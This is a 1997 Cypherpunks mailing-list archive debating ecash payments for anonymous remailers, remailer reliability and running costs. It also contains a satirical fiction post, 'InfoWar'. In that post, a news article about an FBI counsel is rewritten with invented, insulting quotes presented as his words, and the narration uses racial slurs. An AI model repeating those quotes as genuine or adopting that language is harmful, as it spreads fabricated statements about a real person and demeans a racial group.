> and got the hell out. That so few news magazines delved into this is
> telling.]

My congratulations to EFF, who I have vigorously flamed in the past.  I hope
that one day I will be able to similarly congratulate the CDT.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 29 Sep 1997 07:55:46 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer Attack
In-Reply-To: <89bca20c4c4e7e17eddcd9e11f3b5f69@anon.efga.org>
Message-ID: <3.0.3.32.19970928194755.033d2350@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 05:10 PM 9/28/97 -0400, (Monty Cantsin) wrote:
>If the downtime statistic reflects connection failures it isn't that
>useful.  This sort of problem is relatively common on the Net and is
>handled automatically.  I strongly suspect it really does reflect
>disappeared messages.

A missing message may just be a delayed message.  Almost all remailers on
Raph's list are at a 99+% uptime rate.  This figure is probably computed
based on a ping to rlist and a reply through the reordering pool.  I would
suspect that Raph waits for the latency period of the remailer.  If the
ping does not return, then uptime is less than 100%.  My suspicion is these
pings are "missing" because they are near the end of the list of pings and
just stuck in the reordering pool, or stuck in the normal connection
failure process.  I've personally had messages in the reordering pool for
over six hours.

Since almost all of the remailers on Raph's list are at 99+% uptime rates,
then I would daresay no messages get lost.

Even if you wish to assume that remailers lose messages due to bugs in the
software, a payment system is not likely to fix that any more so than the
current group effort.  Public domain, freeware, and shareware software has
often had higher quality than commercial software.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 29 Sep 1997 09:15:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Digital Postage (fwd)
Message-ID: <df0c330205a3900f780062670a80a743@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate wrote:
>> No, there is only one system which provides anonymity.  It's called ecash.
>> The other systems do not have the features we want.
>
>Yes, but it does not have a clear market advantage. In fact the
>anonymity issue may actualy work against it.

We are not talking about an abstract "what will the market do" issue
here.  We are talking about how to get a working payment system up for
remailers which gets us great service and provides privacy and
security.

The rest of the world may or may not catch on to ecash, but if it's
going to start, it will start with a small group.  I think it should
be this one.

>> There is a commonly held belief that one form of payment or another
>> must dominate.
>
>I can assure you that any business will not use multiple protocols
>unless their interface is the same for all of them. There simply
>isn't enough business to have very many systems.

Businesses use multiple forms of payment all the time, even in the
United States where multiple currency use is legally discouraged.
When I go to a restaurant I can pay in cash or use a variety of credit
cards.  And credit cards cost the establishment a substantial amount
of money and headache, too.

>> >Also there is the issue of security in regards to maintaning
>> >anonymity when there is such a small pool of parties to use. Doesn't
>> >take a genius to figure out where to hang out and watch the action.
>> 
>> Do you mean watch the bank and see who is using e-cash?  That might
>> tell you who is using remailers, but not much else.
>
>But who is using the remailers is the point in traffic analysis if I'm
>not mistaken. Not very anonymous if they know who you are.

I hope we are all assuming that The Enemy knows who is using
remailers, at least at the moment.  There's no hiding those telltale
PGP messages sent to a certain short list of suspected remailer
addresses.  Some day we will have good steganography and it won't be
possible to tell who is using a remailer, but this is not the best
problem to solve right now.

> >How? There is certainly no clear mechanism in place. Does the
> >customer contact each remailer operator prior to sending the traffic,
> >thus opening up N opportunities for anonymity cracking.
>
>> Can do!  Remailer operators can easily advertise what they sell and
>> how much it costs without compromising the customer the same way
>> they advertise their remailer and its features now.
>
>Can do what? Anonymity cracking or create a payment system that
>allows for the intermediate parties to be paid but doesn't
>over-burden the user? The point is not to have the poor end user have
>to create a half- dozen payment arrangements to get chaining. It
>becomes a real hassle to do at that point.

No it doesn't.  Watch carefully:

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek money25cents";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek money25cents reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix money25cents";
$remailer{"medusa"} = "<medusa@weasel.owl.de> money25cents mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly money25cents hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";

See if you can figure out which remailers accept money and how much
they accept.  Now, in figuring that out, did you do anything that
would reveal your identity?  Do you think a simple program could
handle the task?

Also, the remailer can still offer free operation, but it can give
nonpaying customers lower priority, delaying their messages by a few
hours, for example.  This means remailers still have a low barrier to
entry, but people can also pay a little money to get excellent
service.

>We're talking about the people that drive the one block to the store
>to get more beer...

You might be.  I'm interested in smart people who want to protect
their privacy.

>> I recommend that people start pricing at a quarter per message per hop
>> because it is easier to move prices down than to move them up.
>
>This is the silliest thing I think I have heard so far in this
>discussion....
>...And my experience is that prices move up and people expect them to.

Mind your manners.

Then look around.  For the last few hundred years just about
everything has been dropping in price.  And, in the computer and
information industry in particular, prices drop like crazy all the
time for decades, even when you adjust for inflation.  Buy memory
recently?

>A quarter a message per hop is about 2,000+ times too expensive to
>make anonymous remailers work.

If you want to run a remailer and charge a fraction of a cent for each
message, or for an account, or whatever, please be my guest.

>The key to anonyous remailers is not the cost per message but rather
>the amount of traffic to be carried.  Anonymous remailers are beasts
>of mass markets measured in millions of recipients.

That is obviously untrue.  Remailers are used by a small highly
specialized market of perhaps a few hundred people.  Some day, if we
do good work, there will be millions of users.

Can you think of any mass market which started out as a mass market?
I can't think of a single one.  But, there are lots of mass markets
that started out with a small group of people paying fairly high
prices.  As time went by, the prices dropped, more people came in, and
eventually a mass market developed.

>But the system to post charges BETWEEN remailers must be pretty
>consistent to be acceptable.

Untrue.  You just have to know what each remailer charges.  That's
about as hard as knowing what services it offers or that it exists.

>That is the key and it has NOT been discussed too any great
>degree. That inter-remailer traffic must be anonymous also or else
>traffic analysis can back-track.

I may be misreading this, but you do realize ecash is anonymous,
right?  Nobody can tell who sent the money, just who received it.

Perhaps you are arguing that The Enemy would notice that you withdrew
a bunch of coins and then make a guess that all those remailers making
deposits three minutes later are depositing your coins?  That is
easily solved by generating the ASCII ecash certificates once a week
or so and then pasting them into your messages when you send them.

>It seems to me that the remailers need some sort of anonymous payment
>server that is put in place for some other reason, that way they
>don't have to deal with the justification issue.

What justification issue?  Ecash is available right now.  You don't
have to justify it to anybody, just use it.

Hopefully, once the cypherpunks start using it regularly, it will
begin to catch on with people peripheral to the group, and then with
everyone.

>> >The problem I see is one of scale. The infrastructure for handling
>> >physical mail is very 'bulky' and requires a lot infrastructure.
>> 
>> >Email on the other hands effectively rides on the back of an existing
>> >Internet infrastructure for nearly free.
>> 
>> You are confusing one cost of doing business with the price the market
>> will bear.
>
>How?

You seem to think that because the cost of transporting mail is
inexpensive, the price for protecting somebody's identity can't be
high.

>What I am saying is that physical mail and the system developed for
>dealing with it went hand-in-hand. The design and advancement of the
>Internet technology is not driven by email or it's technology. That
>perhaps because of this difference perhaps we need to look at models
>other than the postage one. It in fact may be coloring our perception
>and a look at alternative models might help.

The only models that have been proposed so far require a lot of work
and evangelism.  Ecash doesn't require much work, and it will be
easier to evangelize.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 29 Sep 1997 10:40:10 +0800
To: cypherpunks@toad.com
Subject: Don't go there...
Message-ID: <199709281908.VAA10708@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.xensei.com/users/hubcom/units.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bubba Sho'nuff" <bs@dev.null>
Date: Mon, 29 Sep 1997 12:10:56 +0800
To: cypherpunks@toad.com
Subject: InfoWar 23 (Part III of 'The True Story of the InterNet')
Message-ID: <342F21C5.2DE5@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the Internet Part II









The True Story of the InterNet

Part III


InfoWar

Final Frontier of the Digital Revolution

Behind the ElectroMagnetic
Curtain


by TruthMonger <tm@dev.null>




Copyright 1997 Pearl Publishing



InfoWar Table of Contents

Non-Conspiracy Theory 


Non-Conspiracy Theory


A Player To Be Named Later glanced quickly over his shoulder,
to make certain that no one was paying any particular amount of
attention to him.
In one swift motion, he stepped sideways into the telephone booth,
and began removing his clothes. Seconds later, he emerged from
the telephone booth...as The Real Guy.


"Turn to your left, please." the police photographer
sounded bored. As soon as he had finished with the flasher, he
was off-shift and headed straight for The Stone Fox nude club
to watch his favorite ladies engage in legalized flashing.

The prisoner smiled as he saw the lady cop waiting to take him
downstairs for fingerprinting checking out his firmware.
"I told you I was The Real Guy." he said,
as the woman looked away, blushing.


FBI Calls Privacy Extremists Elitist
(09/25/97; 4:30 p.m. EDT) By David Braun, TechWire 

MONTREAL -- Extremist positions on electronic encryption are not
only
threatening to normal law enforcement, but they are also elitist
and
non-democratic, said Alan McDonald, a senior counsel member with
the
Federal Bureau of Investigation, at the International Conference
on
Privacy in Montreal on Thursday.
...
Absolute positions on privacy were "pernicious on several
levels,"
McDonald added, in an attempt to daemonize citizens who value
their
privacy and resent attempts by government to build a surveillance
state.
...
Extreme privacy positions were ultimately elitist and nondemocratic
in that they
presumed the views of a knowing privacy cognoscenti should pre-empt
the
views of the nation's elected officials and the Supreme Court,
McDonald
said. He added that the elitist and non-democratic founding
fathers had
established this cursed tradition by their misuse of the term
"we the people"
and that it had taken many years to set things straight.
...
Extremists presumed that the citizens could not trust the
elected
government and the Supreme Court to make decisions or to correct

mistakes if any are made, McDonald said. He told those present
that
if the Waco investigation had shown the massacre of the Branch

Davidians to be a mistake, then the Supreme Court would have ruled

that the government must bring those killed back to life. 
...
McDonald said efforts in the United States to enhance effective
law
enforcement search and seizure capabilities had proceeded without

harming legitimate privacy concerns. He stated that anyone
who
found this hard to believe could ask FBI Director, Lying Fuck
Louis
Free to confirm his statement.
...

Notwithstanding the substantial threats posed by national and

international organized crime, drug cartels, and terrorists, the
United
States had remained true to its Constitutional moorings, and its

commitment to a system of ordered liberties, McDonald said.
Handouts were given to those in attendance, showing that most
of
the drug czars and terrorists were concentrated in short stretches

of Interstate highways where local law enforcement agencies were

seizing their vehicles and money at an astounding rate, given
the
fact that almost all of them had gone to great lengths to disguise

themselves as ordinary, everyday citizens.
...
"When people don't know much about electronic surveillance,
they are
fearful of it. But when they know Congress passed laws and the
Supreme
Court reviewed them and that there are numerous constraints and

procedures, then it makes sense to them. It seems rational and

balanced," McDonald said.
He add that the way that the elitist, non-democratic privacy
extremists 
rant and rave, you would believe that law enforcement agents went

around sticking toilet plungers up their assholes, or something.



The Real Guy reviewed his changes to David Braun's TechWire article.
He decided that his 'enhanced' version more clearly expressed
McDonald's views in a way that the common man could understand-or,
the common 'person' if they were one of those Left Coast troublemakers.

It was going to be a long and difficult task, but The Real Guy
knew that it was up to himself to bear the burden of informing
the Real World (tm) that there was, in fact, no grand conspiracy,
secret or otherwise, aimed at bringing the world totally under
the domination of the Evil One.
The biggest problem of bursting the bubble of the paranoid lunatics
running around stirring up the rabble with their far-fetched allegations,
was that the potential for their claims being true could be easily
substantiated by the real facts, as they existed.
Thus, these troublemakers could play on the irrational fears of
the sheeple in an attempt to undermine the years of effort that
had gone into convincing them to trust authority and to view their
government as benevolent public servants working in the best interests
of the citizens who elected them.

The Real Guy decided to make a list of the issues he would have
to address in order to build a solid foundation for his non-conspiracy
theory.

He began with a series of small, local items from the alternative
presses around the nation, knowing that much of the power of the
world-wide conspiracy theories being proclaimed were built upon
comparisons that the common man could understand.

For instance, there was an article on people who spent hundreds
of thousands of dollars campaigning for a $20,000 per year position
on the Austin Water Board. The article went on to document how
those who were elected to the Water Board were then in a position
to make decisions affecting multi-million dollar land development
projects, and how they all became filthy rich during their tenure
on the Water Board.
The Real Guy recognized this as just one of the many mean-spirited
attempts to slander successful people who had spent mountains
of money to gain a position where they could be of service to
their community, in order to repay the community for the millions
of dollars that they would be making in the future through graft
and bribery.

Then there was a state project involving the four-lane highway
outside a small town in Kansas which went...well, pretty much
nowhere, actually.
Tens of millions had been spent on its construction before someone
pointed out that there was really no need for the road, and that
it was a tremendous waste of taxpayer money, since there was really
nowhere to go in that particular direction, and nobody who wanted
to go there. And, just because the politicians and businessmen
involved all made vast sums of money in its construction before
the project was halted, the skeptics assumed that there was something
more involved than an honest mistake by well-meaning people.

On a federal level, events could also be misconstrued by those
who aimed their misanthropic cynicism toward using the details
surrounding the history of the government as building blocks to
suggest nefarious secret agendas going on in the political background.

These conspiratorial FUD artists would get great mileage out of
such simple coincidences as the only Catholic US President being
assassinated in the heart of the Baptist bible belt; the Vice
President under a President facing impeachment being removed to
put in place a politician who would pardon the criminal after
assuming his office; the head of the CIA accomplishing what the
head of the FBI was never able to do-assume control of the nation.


The Real Guy had his work cut out for him in a variety of areas
which were intertwined with one another, and which all provided
fertile ground for the cynics to plant seeds of doubt as to the
honesty and integrity of those who had seized control of the reins
of power.

One of these areas was the media.
Certainly, once mesmerism, or hypnosis, had become a recognized
method of manipulating human consciousness, it provided fodder
for those who thought that people seeking power and wealth would
stoop so low as to use this for private gain, at the expense of
the masses. When it became commonly known that 'bad' people had
developed this new mind-altering technology in the arena of 'brainwashing,'
then it was only a matter of time before the naysayers would try
to associate honest, free-enterprise advertising with this evil,
mind-manipulation technique designed to change the orientation
of people's thoughts and perceptions.
When many of the most successful advertising experts moved into
the political arena, it gave the paranoid even more food for feeding
their proclivity for mistrustful mental machinations.

When commercial advertising proved the tremendous financial rewards
that could be obtained by directing the public's attention in
the direction of a desired perception and opinion of a commercial
product, there were, naturally, a few bad apples who took advantage
of this mind-influencing technology to lead the public to believe
things which were not, in fact, true, with the goal of enriching
themselves at the expense of others.
Fortunately, most of the evil thieves who became rich by using
the power of advertising to defraud the public used their money
to better themselves, often running for public office in order
to make amends for their past misconduct.

Again, the cynics would try to twist the facts to intimate that
the many thugs, thieves and other assorted criminals who rose
to prominent positions in corporate and political areas was an
indication of the perversion of democracy by powerful financial
figures who had learned to manipulate public perception via media
spin-doctoring.
This view, fortunately, was put to rest when a criminal felon
who had amassed a fortune in the bootlegging business during Prohibition
used his ill-gotten gain to provide the American people with a
President who epitomized the American dream.

The handsome, photogenic youth with the all-American family proved
the triumph of reality over spin-doctoring by being everything
that the citizens could hope for, and more, even to the point
where his royal court was given the name Camelot by the media.

As a war-hero, he atoned for his father's sin of doing business
with the Nazis during the war in which he fought against them.
As a man with a beautiful and dutiful wife standing beside him,
at his beck and call, he atoned for the fact that he was screwing
the living shit out of a variety of women ranging from movie stars
to secretaries. As a man who was often photographed playing with
his beautiful children, he atoned for the fact that he was sending
American troops to a foreign country to kill their children.

The Real Guy reread his last paragraph, thinking that perhaps
there was something a little askew with the logic in it, but since
he couldn't put his finger on what it was, he decided to review
it later, when his mind was fresher.

Regardless, he felt that another issue he would need to tackle
in order to take the wind out of the paranoid conspiracy theorists'
sails was the increasing lack of hard-core investigative journalism
in the mainstream press when it came to events involving government
malfeasance.

A few of the wacky weirdoes playing their conspiracy games attempted
to point to the lack of solid reporting in certain areas of major
news stories as evidence of an ongoing cover-up of nefarious activities
by people with shadowy agendas.
One example was the absence of any reporters doing serious research
into the reason that a large number of law enforcement related
personnel seemed to be absent from the scenes of crimes that took
place in their regular workplaces, including the BATF agents at
the site of the Oklahoma City bombing of the Murrah Federal Building.

Rather than being part of some grand conspiracy, The Real Guy
saw this as a simple issue of market-place economics. Media giants
realized that their readers and viewers would much rather have
reporting resources centered on matters of more interest to them,
such as researching the facts behind the death of Natalie Woods.
They would want to know who was present at the media event, who
wasn't there, what they were wearing, what everybody had to eat
and drink, who was fucking who, and what color the drapes were
on the yacht.
If the public had more interest in the presence of celebrities
at the site of a celebrity death than they had in the absence
of law enforcement agents in charge of preventing bombings at
the bombing of their own workplace, then it was certainly not
the fault of the media. 
If major drug dealers would bring their planes into Florida during
the Miami Dolphin football games because they knew the Customs
agents would pay more attention to game instead of intercepting
drug smugglers, that was not the fault of the media.
'Saving the children' was important, but not important enough
to miss 'the game.'

The Real Guy knew that he would also have to address the entertainment
media's movement toward providing more and more programs canonizing
law enforcement agencies and officers, and paying tribute to the
benefits of living in a surveillance state.

People didn't want to see pictures of darkies getting toilet plungers
shoved up their ass. They wanted to see pictures of white officers
calling darkies 'Sir.' before they violated their Constitutional
rights and then imprisoned or shot them. The public wanted to
see footage of darkies being rousted in cars with bad mufflers
and imprisoned for possession of a joint-not pictures of people
of all races being shaken down and having their money and possessions
confiscated for possession of the same joint (after the darkie
had been booked and printed).

The paranoid conspiracy theorists railed against the media's portrayal
of LEA's as righteous crime fighters who killed and imprisoned
only 'bad' people who were going to do terrible things to mom,
her apple pie, and the flag. The Real Guy knew that the media
was only trying to present a balanced picture of virtual reality
for the public, since they got to see the LEA's murder men, women
and children on the news, so there was no need to replicate this
and their other atrocities in the field of entertainment.

The Real Guy recognized that the media's prime purpose was to
serve as the new, improved opiate of the masses. Since it was
impossible for people to live in real safety and security
in the Real World (tm), the media was burdened with the responsibility
for assuring that they could do so in the Virtual World (tm)
of Digital Reality (tm).

The Digital Revolution (tm) was designed as a gentler, kinder
revolution which would subtly replace Analog Reality with Digital
Reality (tm), without the need for violence and bloodshed, except
in cases of Thought Criminals who stubbornly refused to accept
the authority of the Mind Police, acting in the legitimate interests
of Attitude Enforcement.

The Real Guy knew that if there indeed was a conspiracy between
the secret government and the media czars that one could expect
to find hard evidence, such as a TV show that represented the
FBI as an organization whose focus was to protect children from
their parents being duped or forced into making their children
vulnerable to drug-dealing, terrorist pedophiles, thus needing
concerned federal agents to 'save' their children.
Well, OK...maybe that is a bad example, since that was the
plot of the first episode of the C-16 TV series about an elite
FBI team.

The more the Real Guy tried to find examples of LEA's being portrayed
realistically, whether local, state, federal or military, the
more it became obvious that he would be unable to prove his non-conspiracy
theory directly, since the entertainment media's portrayal of
them was so obviously one-sided.
Instead, he decided to point out the flip-side of the argument-namely,
that if there indeed was a secret conspiracy linking the secret
government and the mainstream media, then they would not allow
the conspiracy theorists to also state their case in a subtle,
subliminal manner on the airwaves of America.

Yes...that was the way to go.
Rather than trying to prove a negative, he would provide positive
proof that the wild-eyed conspiracy theorists were also allowed
media exposure to promote their own view of reality and virtual
reality.

Well, not The Real Guy, himself, since he was not really suited
to the task, but ? the Lunatic would be more than up for the job.

He headed back for the telephone booth where he had left his clothes,
taking along the aluminum foil hat that would allow ? the Lunatic
to work without outside interference. It was going to be a long
night, but at least he had plenty of Scotch and butts to help
counterbalance any side effects that ? the Lunatic's medication
might be having on him.

In an important project such as this, balance was important.


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 30 Sep 1997 01:27:31 +0800
To: cypherpunks@toad.com
Subject: Defamation of Indefendants
Message-ID: <342F299E.76D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



I downloaded a copy of the 'Declaration of Independence' off of the 
FBI web site and it began with,
"We, the elitist, undemocratic privacy terrorists..."

The CypherPunks list always quotes it as, 
"We, the people..."

Someone's pulling my leg, aren't they?
Well, it's not funny, so cut it out!

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 29 Sep 1997 04:38:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <199709282019.WAA18364@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Robert A. Costner wrote:
>Let's assume you want to setup a remailer for profit.  You could use a
>spare machine on your desktop and share a phone line part time by using a
>PPP connection.  But I take it this is not what you are suggesting.  I'm
>assuming you want a commercial quality service.  You'll need a machine,
>colocation space, UPS power, a router to separate from the rest of the
>internal network, a  phone line for complaints and administration, a domain
>name, and a person who can do programming, server administration, and
>administrative work, perhaps 20 hours per week.
>
>        Machine $2,500
>        Router             800
>        Domain             100
>                      ------
>Startup costs        $3,400
>
>        Colocation      $  700
>        Phone line          45
>        Salary           3,750
>                     ------
>Recurring costs $4,495 x 12 months =    $53,940
>Fixed costs                                     $ 3,400
>                                                
>This makes an estimated business cost of $57,340 for one year, or $4,778
>per month, or about $159 per day.  based on 4,000 messages per day that
>gives a base cost per message of less than 4 cents.  Actual operation costs
>would be higher, but even at triple that price, if there is a demand for
>the service (which I have my doubts) the 25 cent price would make a profit.

1. You should be looking at the marginal cost of adding money
collection to a remailer.  It isn't fifty thousand dollars, it's
calling Mark Twain Bank, downloading the ecash software, getting it
set up, and then hooking it into your remailer.  (This would be a good
way for the EFF to collect donations, wouldn't it?)

2. Remember that this could be started as a side business by somebody
who has already paid the fixed costs.

3. $50,000 is nothing for a high tech venture, anyway.  If there is
any indication that security services could be a real market, the
investment money will flow like tap water.  (People love web
businesses that are really generating hard cash.)

>What about the free system does not seem to work well?

When I look at Raph's statistics I don't see a successful remailer
network.  Now, there is some question about what his numbers mean, and
there are some questions about the causes, but it is believed (not
just by me) that the remailers lose messages and that they are delayed
by reasons other than waiting for reordering queues to fill up.

Yesterday, I think you said that if you noticed a problem with your
remailer at 1am, you would deal with it in the morning.  You are a
volunteer and that is perfectly reasonable.  But, if your remailer was
related to a flow of cash, you might find it worthwhile to stay up
another 30 minutes.

Also, there are really only a few remailers out there.  If there was a
market in place, we would see some more entrants, both as service
providers and as customers.  There are lots of people out there who
would be delighted to operate a remailer for $5000/year.

>I'll admit that I really have not used DigiCash.  Maybe someone here
>can tell me some experiences with it.

It's a great product.  You haven't lived until you've e-mailed money.

>I found two problems.  Last I checked, the bank account reuired to
>have digicash had a service fee of about $10 per month.

I don't think you have to pay this fee with every account.  (Even if
there is a $10 fee, I would think my $50 would help defray the
expense.)

The way it works (in e-mail) is you generate a block of ASCII text
that looks sort of like a PGP message and give it to the person you
want to pay.  You can make the payment out to them in particular, or
you can make it out to whoever takes the certificate to the bank
first.

For ease of use, remailers should use the latter method.  This also
means that you wouldn't have to have a merchant account (which might
be more expensive) to accept cash with your remailer.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 29 Sep 1997 14:47:03 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
In-Reply-To: <199709282104.QAA09234@einstein.ssz.com>
Message-ID: <v03007811b054f4cac8a2@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 2:04 PM -0700 9/28/97, Jim Choate wrote:
>I can assure you that any business will not use multiple protocols unless
>their interface is the same for all of them. There simply isn't enough
>business to have very many systems.

While this is certainly true for remailers at the present, it is not true
for businesses in general.  Most of the stores I deal with locally will
accept cash, checks or credit cards.  The interface (and accounting) for
these is quite different.  (E.g there is no online check for cash, like
there is for credit cards, and sometimes checks.)


- -------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 29 Sep 1997 05:30:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailers and ecash
Message-ID: <199709282107.XAA23460@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Matthew Ghio wrote:
>What people often forget is that these structures tend to evolve thru
>incremental changes rather than the immediate adoption of entirely
>new paradigms.  The 'barrier to entry', is often the deciding factor.

Good point.  I appreciated the following detailed discussion.  But, I
disagree on a few points.

>So, assuming that for-pay remailers are the goal, how do we get
>there?  If attaching chaum-cash to remailer messages were the answer,
>everyone would be doing it.

An economist was walking down the street and saw a hundred dollar
bill.  The engineer with him snapped it up.  Later, the engineer asked
why his friend hadn't taken the money.  "Well, the economist
explained, I knew that it couldn't really be there because if it was,
somebody would have gotten it."

>One potential scenario is "I'll let you use my remailer if you let me
>use yours," where people earn remailer credits by remailing other
>people's messages.  These remailer credits allow one to send
>anonymous messages via other remailers.  Once these remailer-credits
>become sufficiently valuable, they can be sold using whatever
>monetary system is popular at the time.

Think of ecash as "remailer credits", only somebody else has gone to
the trouble of solving all of the hard problems (including
infrastructure), and you can get remailer credits by doing any
productive activity for anybody in the world who will pay you in
dollars.  Some people will get ecash (i.e., "remailer credits") by
running remailers.  Others will get it by working for Microsoft and
converting part of their income to ecash.

Ecash suits the bill perfectly and it is available and working right
now.  It is actually easier to use ecash than to write some sort of
"remailer credit" system from scratch.

>Both of the above scenarios provide the desired end, which is that
>people pay for their remailer usage, and neither involves the
>(unlikely) model where people attach digicash to their remailer
>messages using the current system.

Again, there seems to be this idea that it's hard to get set up using
ecash.  If it were, long discussions about how likely it would be to
work with the remailers might be worthwhile.

But, the fact is, it isn't hard to get a remailer to accept ecash.
So, we should get a bunch of remailers accepting it and see how things
go.

It should also be quite easy to modify existing client software to put
ecash into chained messages.

Consider premail.  Raph would have to add a keyword to his remailer
description table which means "accepts 25 cents ecash".

Premail could have a command line option to add ecash.

The ecash itself could come from a file of blocks of ASCII ecash made
out to cash, which are automatically clipped by premail and then
pasted into the message.  Easy, right?  Nobody even has to interact
with the ecash application from the program.

So where do these files full of blocks of ASCII ecash going to come
from?  People with ecash accounts can generate them by hand or by
having a program call the ecash software to generate them.  Then they
can give or sell them to their less fortunate friends who don't have
an ecash account.

If you don't use up all the ecash ASCII blocks, they can be
redeposited.

It's that easy.  It will work.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=IPLp
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 29 Sep 1997 12:10:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Digital Postage (fwd)
Message-ID: <199709290409.XAA10643@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 28 Sep 1997 21:03:59 -0400
> From: Anonymous <anon@anon.efga.org>
> Subject: Re: Digital Postage (fwd)

> Jim Choate wrote:
> >> No, there is only one system which provides anonymity.  It's called ecash.
> >> The other systems do not have the features we want.
> >
> >Yes, but it does not have a clear market advantage. In fact the
> >anonymity issue may actualy work against it.
> 
> We are not talking about an abstract "what will the market do" issue
> here.  We are talking about how to get a working payment system up for
> remailers which gets us great service and provides privacy and
> security.

That is exactly what we are talking about, he who predicts what the market
will do AND invests somebodies elses money will win big. That 'abstract'
market motion is EXACTLY what the market will do in practice. In other words
it's the service you will be buying because the people with the money think
it will make them money off your willingness to spend your money.

As I have said before, privacy and security are not issues in remailers.
Being able to plausibly deny any involvement is, a subtle but important
difference.

> The rest of the world may or may not catch on to ecash, but if it's
> going to start, it will start with a small group.  I think it should
> be this one.

It will not start with a small group. Anonymous remailers are big traffic -
big buck operations in the long run. The price per message must be in the
milli-cent range which means the traffic must be in the mega-message range
to make money; simple multiplication.

> Businesses use multiple forms of payment all the time, even in the
> United States where multiple currency use is legally discouraged.

It isn't a question of which currency you use - that is NOT the same as the
economic system in place. Businesses may use dollars or dinars but at the
end of the day they put them in a bank which at least at times follows
international agreements on banking. This is why we can transfer money from
one denomination to another.

> When I go to a restaurant I can pay in cash or use a variety of credit
> cards.  And credit cards cost the establishment a substantial amount
> of money and headache, too.

Yes, but that is not a different system. You are still taking money from
your bank account (on loan from a bank if through a CC) and putting it in
somebody elses bank account. The banks define our system of economics to a
great degree. Banks don't like anonymous transactions so whatever system we
put in place must buy the support of the traditional financial institutions
